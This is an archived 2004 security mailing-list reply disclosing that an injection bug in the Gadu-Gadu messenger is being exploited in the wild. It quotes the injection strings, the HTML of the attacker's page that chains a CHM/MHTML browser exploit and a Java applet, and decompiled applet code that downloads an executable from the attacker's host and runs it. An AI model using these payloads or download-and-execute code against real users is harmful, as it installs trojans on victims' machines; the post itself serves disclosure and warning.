[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <41C709E5.4020904@freebsd.lublin.pl>
Date: Mon, 20 Dec 2004 18:20:37 +0100
From: Przemyslaw Frasunek <venglin@...ebsd.lublin.pl>
To: Jaroslaw Sajko <sloik@....poznan.pl>
Cc: bugtraq@...urityfocus.com, incidents@...urityfocus.com,
full-disclosure@...ts.netsys.com
Subject: Re: Gadu-Gadu, another two bugs
Jaroslaw Sajko wrote:
> Send such a string to any receipent:
> www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl
Beware, this bug is being already exploited in the wild. I have just received
the following message from WWW to GG gateway (gg# 7021349):
www.po"style=background-image:url(javascript:window.open('http://iframedollars.biz/dl/adv407.php','','left=10000'));".pl
The adv407.php file contains the following HTML code:
[html][head]
[/head][body]
[textarea id="cxw" style="display:none;"]
[object data="${PR}" type="text/x-scriptlet"][/object]
[/textarea]
[script language="javascript"]
document.write(cxw.value.replace(/\${PR}/g,'ms-its:mhtml:file://c:\\nosuch.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
[/script]
[applet width=1 height=1 ARCHIVE=loaderadv407.jar
code=Counter][/APPLET][/body][/html]
After downloading and decompiling loaderadv407.jar I noticed, that it does:
URL url1 = new URL("http://iframedollars.biz/dl/loadadv407.exe");
URLConnection urlconnection = url1.openConnection();
[...]
FileOutputStream fileoutputstream = new FileOutputStream(s4 + "\\loadnew.exe");
[...]
as[0] = s4 + "\\loadnew.exe";
Process process = Runtime.getRuntime().exec(as);
Clamav recognizes this binary as Trojan.Qhost.O.
--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@...ber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
Powered by blists - more mailing lists